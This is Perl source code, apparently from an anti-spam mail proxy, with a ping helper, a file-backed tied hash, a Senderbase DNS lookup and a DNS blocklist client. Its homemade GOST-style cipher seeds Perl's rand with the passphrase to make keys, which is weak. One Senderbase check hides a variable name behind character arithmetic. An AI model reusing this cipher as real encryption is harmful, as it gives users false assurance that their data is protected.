sub pingHost {
	
     my $host = shift;
     my $type = shift || 'syn';
     my $port = shift || 25;  # for smtp ping
     my $status;
     
     eval {
     my $p = Net::Ping->new($type);

     if ($type eq 'icmp' or $type eq 'tcp') {

         if ( $p->ping($host,10) ) {
             $status = 1;

         } else {
             $status = 0;
         }

     } elsif ($type eq 'syn') {

         $p->port_number($port);
         $p->ping($host,10);

         if ( $p->ack ) {
             $status = 1;
             

         } else {
             $status = 0;
             
         }
     }

     $p->close;
     
     };
     return 1 if $@;
     return $status;
     
}

sub convertBytes {
my $number = shift;
my $byte = ($number);
my $kb = ($byte/1024);
return ($kb/1024);

}


################################################################################
#                orderedtie
{

    package orderedtie;

# This is a tied value that caches lookups from a sorted file; \n separates records,
# \002 separates the key from the value. After main::OrderedTieHashTableSize lookups the cache is
# cleared. This give us most of the speed of the hash without the huge memory overhead of storing
# the entire hash and should be totally portable. Picking the best value for n requires some
# tuning. A \n is required to start the file.

# if you're updating entries it behoves you to call flush every so often to make sure that your
# changes are saved. This also frees the memory used to remember updated values.

    # for my purposes a value of undef and a nonexistant key are the same

# Obviously if your keys or values contain \n or \002 it will totally goof things up.

    sub TIEHASH {
        my ( $c, $fn ) = @_;
        my $self = {
            fn      => $fn,
            age     => mtime($fn),
            cnt     => 0,
            cache   => {},
            updated => {},
            ptr     => 1,
        };
        bless $self, $c;
        return $self;
    }
    sub DESTROY { $_[0]->flush(); }

    sub mtime { my @s = stat( $_[0] ); $s[9]; }

sub flush {
 my $this=shift;
 return unless %{$this->{updated}};
 my $f=$this->{fn};
 open(O,'>',"$f.tmp") or return undef;
 binmode O;
 open(I,'<',$f) || print O "\n";
 binmode I;
 local $/="\n";
 my @l=(sort keys %{$this->{updated}});
 my ($k,$d,$r,$v);
 while ($r=<I>) {
  ($k,$d)=split("\002",$r);
  while (@l && $l[0] lt $k) {
   $v=$this->{updated}{$l[0]};
   print O "$l[0]\002$v\n" if $v;
   shift @l;
  }
  if ($l[0] eq $k) {
   $v=$this->{updated}{$l[0]};
   print O "$l[0]\002$v\n" if $v;
   shift @l;
  } else {
   print O $r;
  }
 }
 while (@l) {
  $v=$this->{updated}{$l[0]};
  print O "$l[0]\002$v\n" if $v;
  shift @l;
 }
 close I;
 close O;
 unlink($f);
 rename("$f.tmp", $f);
 $this->{updated}={};
}

    sub STORE {
        my ( $this, $key, $value ) = @_;
        $this->{cache}{$key} = $this->{updated}{$key} = $value;
    }

    sub FETCH {
        my ( $this, $key ) = @_;
        return $this->{cache}{$key} if exists $this->{cache}{$key};
        $this->resetCache()
          if ( $this->{cnt}++ > $main::OrderedTieHashTableSize
            || ( $this->{cnt} & 0x1f ) == 0
            && mtime( $this->{fn} ) != $this->{age} );

        return $this->{cache}{$key} = binsearch( $this->{fn}, $key );
    }

    sub resetCache {
        my $this = shift;

        $this->{cnt}   = 0;
        $this->{age}   = mtime( $this->{fn} );
        $this->{cache} = { %{ $this->{updated} } };

    }

    sub binsearch {
        my ( $f, $k ) = @_;
        open( F, "<$f" ) || return undef;
        binmode(F);
        my $count = 0;
        my $siz = my $h = -s $f;
        $siz -= 1024;
        my $l  = 0;
        my $k0 = $k;
        $k =~ s/([\[\]\(\)\*\^\!\|\+\.\\\/\?\`\$\@\{\}])/\\$1/g
          ;    # make sure there's no re chars unqutoed in the key

        while (1) {
            my $m = ( ( $l + $h ) >> 1 ) - 1024;
            $m = 0 if $m < 0;
            seek( F, $m, 0 );
            my $d;
            my $read = read( F, $d, 2048 );
            if ( $d =~ /\n$k\002([^\n]*)\n/ ) {
                close F;
                return $1;
            }
            my ( $pre, $first, $last, $post ) =
              $d =~ /^(.*?)\n(.*?)\002.*\n(.*?)\002.*?\n(.*?)$/s;
            last unless defined $first;
            if ( $k0 gt $first && $k0 lt $last ) {
                last;
            }
            if ( $k0 lt $first ) {
                last if $m == 0;
                $h = $m - 1024 + length($pre);
                $h = 0 if $h < 0;
            }
            if ( $k0 gt $last ) {
                last if $m >= $siz;
                $l = $m + $read - length($post);
            }
            if ( $count++ > 100 ) {

                #main::mlog(0,"warning:   $this->{fn} must be repaired ($k0)");
                last;
            }
        }
        close F;
        return undef;
    }

    sub FIRSTKEY {
        my $this = shift;
        $this->flush();
        $this->{ptr} = 1;
        $this->NEXTKEY();
    }

    sub NEXTKEY {
        my ( $this, $lastkey ) = @_;
        local $/ = "\n";
        open( F, "<$this->{fn}" ) || return undef;
        binmode(F);
        seek( F, $this->{ptr}, 0 );
        my $r = <F>;
        return undef unless $r;
        $this->{ptr} = tell F;
        close F;
        my ( $k, $v ) = $r =~ /(.*?)\002(.*?)\n/s;

        if ( !exists( $this->{cache}{$k} )
            && $this->{cnt}++ > $main::OrderedTieHashTableSize )
        {
            $this->{cnt}   = 0;
            $this->{cache} = { %{ $this->{updated} } };
        }
        $this->{cache}{$k} = $v;
        $k;
    }

    sub EXISTS {
        my ( $this, $key ) = @_;
        return FETCH( $this, $key );
    }

    sub DELETE {
        my ( $this, $key ) = @_;
        $this->{cache}{$key} = $this->{updated}{$key} = undef;
    }

    sub CLEAR {
        my ($this) = @_;
        open( F, ">$this->{fn}" );
        binmode(F);
        print F "\n";
        close F;
        $this->{cache}   = {};
        $this->{updated} = {};
        $this->{cnt}     = 0;
    }
}

package ASSP::CRYPT;

##################################
# based on GOST 28147-89  (Vipul Ved Prakash, 1997)
#
# GOST 28147-89 is a 64-bit symmetric block cipher
# with a 256-bit key developed in the former Soviet Union (KGB).
#
# redesigned and improved by Thomas Eckardt (2009)
##################################

sub new {
        my ($argument,$pass,$bin) = @_;
	my $class = ref ($argument) || $argument;
	my $self = {};
	$self->{KEY} = [];
	$self->{SBOX} = [];
	$self->{BIN} = $bin;
	$self->{PASS} = $pass;
        _generate_sbox($self,$pass) if $pass;
        _generate_keys($self,$pass) if $pass;
	bless $self, $class;
	return $self;
}

sub _generate_sbox {
	my $self = shift;
	my $passphrase = shift;
	if (ref ($passphrase)) {
		@{$self->{SBOX}} = @$passphrase;
	} else {
		my ($i, $x, $y, $random, @tmp) = 0;
		my @temp = (0..15);
		for ($i=0; $i <= (length $passphrase); $i+=4)
		{ $random = $random ^ (unpack 'L', pack 'a4', substr ($passphrase, $i, $i+4)) };
		srand $random;
		for ($i=0; $i < 8; $i++) {
        		@tmp = @temp;
               		grep { $x = _rand (15); $y = $tmp[$x]; $tmp[$x] = $tmp[$_]; $tmp[$_] = $y; } (0..15);
                	grep {$self->{SBOX}->[$i][$_] = $tmp[$_] } (0..15);
		}
	}
}

sub _generate_keys {
	my ($self, $passphrase) = @_;
	if (ref ($passphrase)) {
		@{$self->{KEY}} = @$passphrase;
	} else {
		my ($i, $random) = 0;
		for ($i=0; $i <= (length $passphrase); $i+=4)
		{ $random = $random ^ (unpack 'L', pack 'a4', substr ($passphrase, $i, $i+4))};
		srand $random; grep { $self->{KEY}[$_] = _rand (2**32) } (0..7);
	}
}

sub _crypt {
	my ($self, $data, $decrypt, $bin) = @_;
        return $data unless $self->{PASS};
	$bin = $bin || $self->{BIN};
        my $l;
        my $check;
        my $cl = $bin ? 3 : 6;
        my $ll = $bin ? 2 : 4;
        if ($decrypt) {
            $check = substr($data,length($data)-$cl,$cl);
            $data = substr($data,0,length($data)-$cl);
            $l = int(hex(_IH(substr($data,length($data)-$ll,$ll),$bin)));
            $data = substr($data,0,length($data)-$ll);
	    $data = _HI($data,! $bin);
	} else {
            $check = _XOR_SYSV($data,$bin);
            $l = length($data);
            my $s = $l % 8;
            $l = _HI(sprintf("%04x",$l),$bin);
            $data .= "\x5A" x (8-$s) if $s;
	}
	my ($i, $j, $d1, $d2) = 0;
	my $return = '';
	for ($i=0; $i < length $data; $i += 8) {
		$d1 = unpack 'L', pack 'a4', substr ($data, $i, $i + 4);
		$d2 = unpack 'L', pack 'a4', substr ($data, $i + 4, $i + 8);
		$j = 0;
		grep {
			$j = ($_ % 8) - 1; $j = 7 if $j == -1;
			$decrypt ? ($_ >= 9) && ($j = (32 - $_) % 8) : ($_ >= 25) && ($j = 32 - $_);
			($_ % 2) == 1 ? ($d2 ^= $self->_substitute ($d1 + $self->{KEY}[$j])) :
					($d1 ^= $self->_substitute ($d2 + $self->{KEY}[$j])) ;
		} (1..32);
		$return = $return . (pack 'L', $d2) . (pack 'L', $d1);
	}
        return _IH($return,! $bin).$l.$check unless ($decrypt);
        $return = substr($return,0,$l);
        return undef if _XOR_SYSV($return,$bin) ne $check;
        return $return;
}

sub ENCRYPT    {_crypt(shift,shift,0,0);}

sub DECRYPT    {_crypt(shift,shift,1,0);}

sub ENCRYPTHEX {_crypt(shift,shift,0,1);}

sub DECRYPTHEX {_crypt(shift,shift,1,1);}

sub _substitute {
	my ($self, $d) = @_;
	my $return = 0;
	grep { $return = $return | $self->{SBOX}->[$_][$d >> ($_ * 4) & 15] << ($_ * 4) } reverse (0..7);
	return $return << 11 | $return >> 21;
}

sub _rand {
	return int (((shift) / 100) * ((rand) * 100));
}

sub _XOR_SYSV {
    my ($d,$bin) = @_;
    my $xor = 0x03 ^ 0x0d;
    for ( split(//o, $d) ) { $xor ^= ord($_); };
    return _HI(sprintf ("%02x", $xor),$bin) . _HI(sprintf("%04x",unpack("%32W*",$d) % 65535),$bin) if ( $]>="5.010" );
    return _HI(sprintf ("%02x", $xor),$bin) . _HI(sprintf("%04x", _SYSV($d)),$bin);
}

sub _SYSV {
    my $d = shift;
    my $checksum = 0;
    foreach (split(//o,$d)) { $checksum += unpack("%16C*", $_) }
    $checksum %= 65535;
    return $checksum;
}

sub _IH {
	my ($s,$do) = @_;
        return $s unless $do;
        return join('',unpack 'H*',$s);
}

sub _HI {
	my ($h,$do) = @_;
        return $h unless $do;
        return pack 'H*',$h;
}

1;

package ASSP::Senderbase::Query;
##################################
# somehow based on Net::Senderbase::Query / Net::Senderbase::Query::DNS
#
# completely redesigned and improved by Thomas Eckardt (2012)
##################################

use strict;
use Socket;
our $TIMEOUT = 10;
our $HOST = 'test.senderbase.org';

sub new {
    my $class = shift;
    my %attrs = @_;

    &main::d('ASSP::Senderbase::Query::new -> '.$attrs{Address} );

    $attrs{Address} || die "No 'Address' attribute in call to new()\n";
    if ($attrs{Address} !~ /^\d+\.\d+\.\d+\.\d+$/) {
        # assume it is a hostname instead of an IP
        $attrs{Address} = inet_ntoa(scalar(gethostbyname($attrs{Address})||pack("N", 0)));
    }
    $attrs{Timeout} ||= $TIMEOUT;
    $attrs{Host} ||= $HOST;
    $attrs{main} ||= 'main';
    $attrs{sep}  ||= ',';
    
    my $self = bless { %attrs }, $class;

    my $reversed_ip = join('.', reverse(split(/\./,$attrs{Address})));
    my $mask = $attrs{Mask} ? ".$attrs{Mask}" : '';
    $self->{query} = &main::queryDNS("$reversed_ip$mask.$attrs{Host}", "TXT");

    return $self;
}

sub results {
    my $self = shift;
    &main::d('ASSP::Senderbase::Query::results -> '.$self->{Address} );
    ( $self->{query} && defined ${$self->{main}.'::'.chr(ord($self->{sep}) << 1)} )
       || die "No DNS answer came back for $self->{Address}\n";
    my @lines;

    foreach my $rr ($self->{query}->answer) {
        next unless $rr->type eq 'TXT';
        my $line = $rr->txtdata;
        if ($line =~ s/^(\d+)-//) {
            my $id = $1;
            $lines[$id] = $line;
        } else {
            die "Unable to parse TXT record: $line\n";
        }
    }
    @lines || die "No results came back for $self->{Address}\n";

    return Net::SenderBase::Results->cons($self->{Address}, join('', @lines));
}
1;


#################################################################
# this package implements realtime blacklisting
# it is based on Net::RBLClient by Asher Blum <asher@wildspark.com>
# CREDITS Martin H. Sluka <martin@sluka.de>
# Copyright (C) 2002 Asher Blum.  All rights reserved.
# This code is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself.
# Modified for integration with ASSP by John Calvi.


package RBL;

use IO::Socket;
use IO::Select;

sub new {
    # This avoids compile time errors if Net::DNS is not installed.
    # The error will be returned on the lookup function call.
    if ($main::CanUseDNS) {
     require Net::DNS::Packet;
     $CanUseDNS=1;
    }
    my($class, %args) = @_;
    my $self = {
        lists       => [ lists() ],
        query_txt   => 1,
        max_time    => 10,
        timeout     => 1,
        max_hits    => 3,
        max_replies => 6,
        udp_maxlen  => 4000,
        server      => '127.0.0.1',
    };
    bless $self, $class;
    foreach my $key(keys %args) {
        defined($self->{ $key })
            or return "Invalid key: $key";
        $self->{ $key } = $args{ $key };
    }

    $self;
}

sub lookup {
    return "Net::DNS package required" unless $main::CanUseDNS;
    my($self, $target, $type) = @_;
    my $start_time = time;
    my $qtarget;
    my $dur;
    my @ok;
    my @failed;
    my $isip = 0;
    $target =~ s/[^\w\-\.:].*$//o if $type ne 'URIBL';
    if ($target=~/^$main::IPv4Re$/o) {
        $qtarget = join ('.', reverse(split /\./o, $target));
        $isip = 1;
    } elsif ($target=~/^$main::IPv6Re$/o) {
        $qtarget = &main::ipv6hexrev($target,36) or return "IPv6 addresses are not supported";
        $isip = 2;
    } else {
        $qtarget=$target;
    }
    my $deadline = time + $self->{ max_time };
    my @sock;

    for (@{$self->{server}}) {
        my $sock = $main::CanUseIOSocketINET6
                   ? IO::Socket::INET6->new(Proto=>'udp',PeerAddr=>$_,PeerPort=>53,&main::getDestSockDom($_))
                   : IO::Socket::INET->new(Proto=>'udp',PeerAddr=>$_,PeerPort=>53);
        push @sock, $sock if $sock;
    }
    if (! @sock) {
        return "Failed to create any UDP client for DNS queries";
    }
    for (@sock) {
        $_->blocking(0) if $_->blocking;
    }
    my $sn = 0;
    my @availsock;
    my %regsock;
    if ( $self->{ query_txt } ) {
      foreach my $list(@{ $self->{ lists } }) {
        if (length($qtarget.$list) > 62 && $type ne 'URIBL' && $isip != 2) {
          eval{close($_) if $_;} for (@sock);
          return "domain name too long";
        }
        if ($list && !($type eq 'URIBL' && lc $list eq 'dbl.spamhaus.org' && $isip)) {
            my($msg_a, $msg_t) = mk_packet($qtarget, $list);
            $list =~ s/.*?\$DATA\$\.?//io;
            foreach ($msg_a, $msg_t) {
                my $redo;
                if ($sock[$sn]->send($_)) {
                    if (! exists $regsock{$sock[$sn]} ) {
                        push @availsock , $sock[$sn];
                        $regsock{$sock[$sn]} = $sock[$sn]->peerhost() . '[:' . $sock[$sn]->peerport().']';
                    }
                    &main::mlog(0,"sending DNS(TXT)-query to $regsock{$sock[$sn]} on $list for $type checks on $target") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
                } else {
                    close($sock[$sn]);
                    splice(@sock,$sn,1);
                    $redo = 1;
                }
                $sn = 0 if ++$sn >= scalar @sock;
                last unless scalar @sock;
                redo if $redo;
            }
            return "send: $!" if (! scalar @availsock && ! scalar @sock);
        }
      }
    } else {
        foreach my $list(@{ $self->{ lists } }) {
          if (length($qtarget.$list) > 62 && $type ne 'URIBL' && $isip != 2) {
            eval{close($_) if $_;} for (@sock);
            return "domain name too long";
          }
          if ($list && !($type eq 'URIBL' && lc $list eq 'dbl.spamhaus.org' && $isip)) {
              my $msg = mk_packet($qtarget, $list);
              $list =~ s/.*?\$DATA\$\.?//io;
              foreach ($msg,0) {
                  last unless $_;
                  my $redo;
                  if ($sock[$sn]->send($_)) {
                      if (! exists $regsock{$sock[$sn]} ) {
                          push @availsock , $sock[$sn];
                          $regsock{$sock[$sn]} = $sock[$sn]->peerhost() . '[:' . $sock[$sn]->peerport().']';
                      }
                      &main::mlog(0,"sending DNS-query to $regsock{$sock[$sn]} on $list for $type checks on $target") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
                  } else {
                      close($sock[$sn]);
                      splice(@sock,$sn,1);
                      $redo = 1;
                  }
                  $sn = 0 if ++$sn >= scalar @sock;
                  last unless scalar @sock;
                  redo if $redo;
              }
              return "send: $!" if (! scalar @availsock && ! scalar @sock);
          }
        }
    }
    @sock = @availsock;

    $self->{ results } = {};
    $self->{ txt } = {};

    my $needed = 0;
    if ($self->{ max_replies} > @{ $self->{ lists } }) {
      $needed = @{ $self->{ lists } };
    } else {
      $needed = $self->{ max_replies };
    }

    my $hits = my $replies = 0;

    my $select = IO::Select->new();
    $select->add($_) for @sock;
    my $numsock = scalar @sock;
    # Keep receiving packets until one of the exit conditions is met:
    &main::mlog(0,"Commencing $type checks on '$target'") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
    my $countansw = 0;
    while ($needed && time < $deadline) {
      my @msg = ();
      my $st = Time::HiRes::time();
      if ($numsock && (my @ready = $select->can_read( $self->{timeout} )) ) {
        map {
            if ($_->recv(my $msg, $self->{udp_maxlen} )) {
                push @msg, $msg;
            } else {
                $select->remove($_);
                close($_);
                $numsock--;
            }
        } @ready;
        return "recv: $!" if (! @msg && ! $numsock);
        next unless @msg;
      } elsif (! $numsock) {
        return "recv: $!";
      } else {
        next; # there are no data on socket -> next loop
      }
      $main::ThreadIdleTime{$main::WorkerNumber} += Time::HiRes::time() - $st;
      $dur = time - $start_time;
      while (my $msg = shift @msg) {
        $countansw++;
        my ($domain, $res, $type) = decode_packet($self,$msg);
        unless ($domain) {
            $needed --;
            next ;
        }
        next if exists $self->{ results }{ $domain };
        $replies ++;
        if ($res) {
          my $ret = $domain;
          $ret =~ s/^$qtarget\.//;
          push @failed, $ret unless grep(/\Q$ret\E/,@failed);

          $hits ++;
          $self->{ results }{ $domain } = $res;

          if (! $main::Showmaxreplies &&
              ($hits >= $self->{ max_hits } || $replies >= $self->{ max_replies })
             ) {

              $dur = time - $start_time;
              &main::mlog(0,"got $countansw answers, $replies replies and $hits hits after $dur seconds for $type checks on '$target'") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
              &main::mlog(0,"got OK replies from (@ok) - NOTOK replies from (@failed) for $type on '$target'") if $main::RBLLog>2 && $type eq "RBL" || $main::URIBLLog>2 && $type eq "URIBL" || $main::RWLLog>2 && $type eq "RWL" || $main::BacksctrLog>2 && $type eq "BACKSCATTER";
              eval{close($_) if $_;} for (@sock);
              return 1;
          }
        } else {
            my $ret = $domain;
            $ret =~ s/^$qtarget\.//;
            push @ok, $ret unless grep(/\Q$ret\E/,@ok);
        }
        $needed --;
      }
    }
    $dur = time - $start_time;
    &main::mlog(0,"got $countansw answers, $replies replies and $hits hits after $dur seconds for $type checks on '$target'") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
    &main::mlog(0,"got OK replies from (@ok) - NOTOK replies from (@failed) for $type on '$target'") if $main::RBLLog>2 && $type eq "RBL" || $main::URIBLLog>2 && $type eq "URIBL" || $main::RWLLog>2 && $type eq "RWL" || $main::BacksctrLog>2 && $type eq "BACKSCATTER";
    &main::mlog(0,"Completed $type checks on '$target'") if $main::RBLLog>=2 && $type eq "RBL" || $main::URIBLLog>=2 && $type eq "URIBL" || $main::RWLLog>=2 && $type eq "RWL" || $main::BacksctrLog>=2 && $type eq "BACKSCATTER";
    eval{close($_) if $_;} for (@sock);
    return 1;
}


sub listed_by {
    my $self = shift;
    sort keys %{ $self->{ results } };
}

sub listed_hash {
    my $self = shift;
    %{ $self->{ results } };
}

sub txt_hash {
    my $self = shift;
    warn <<_ unless $self->{ query_txt };
Without query_txt turned on, you won't get any results from ->txt_hash().
_
    if (wantarray) { %{ $self->{ txt } } }
    else { $self->{ txt } }
}


# End methods - begin internal functions

sub mk_packet {
    # pass me a REVERSED dotted quad ip (qip) and a blocklist domain
    my($qip, $list) = @_;
    my ($packet, $txt_packet, $error);
    my $fqdn;
    if ($list =~ s/\$DATA\$/$qip/io) {     # if a key is required it is in $list
        $fqdn = $list;                    # like key.$DATA$.serviceProvider
    } else {
        $fqdn = "$qip.$list";
    }
    ($packet, $error) = new Net::DNS::Packet( $fqdn , 'A');
    return "Cannot build DNS query for $fqdn, type A: $error" unless $packet;
    return $packet->data unless wantarray;
    ($txt_packet, $error) = new Net::DNS::Packet($fqdn, 'TXT', 'IN');
    return "Cannot build DNS query for $fqdn, type TXT: $error" unless $txt_packet;
    $packet->data, $txt_packet->data;
}

sub decode_packet {
    # takes a raw DNS response packet
    # returns domain, response
    my ($self,$data) = @_;
    my $packet = Net::DNS::Packet->new(\$data);
    my @answer = $packet->answer;
    my @question = $packet->question;
    my $domain = $question[0]->qname;
    $domain =~ s/^.*?\d+\.\d+\.\d+\.\d+\.//o;
    {
        my(%res, $res, $type);
        foreach my $answer (@answer) {
            $type = $answer->type;
            $res{$type} = $type eq 'A'     ? inet_ntoa($answer->rdata)  :
                          $type eq 'CNAME' ? cleanup($answer->rdata)    :
                          $type eq 'TXT'   ? (exists $res{'TXT'} && $res{'TXT'}.'; ')
                                             . $answer->txtdata         :
                          '?';
        }
        $res = $res{'A'} || $res{'CNAME'} || $res{'TXT'};
        $self->{ txt }{ $domain } .= $res{'TXT'} if $res{'TXT'};
        ($res) = $res =~ /(127\.\d+\.\d+\.\d+)/os;
        return $domain, $res, $type if $res;
    }

    # OK, there were no answers -
    # need to determine which domain
    # sent the packet.

    return $domain;
}

sub cleanup {
    # remove control chars and stuff
    $_[ 0 ] =~ tr/a-zA-Z0-9./ /cs;
    $_[ 0 ];
}


sub lists {
    qw(
       bl.spamcop.net
       list.dsbl.org
       zen.spamhaus.org
    );
}
1;
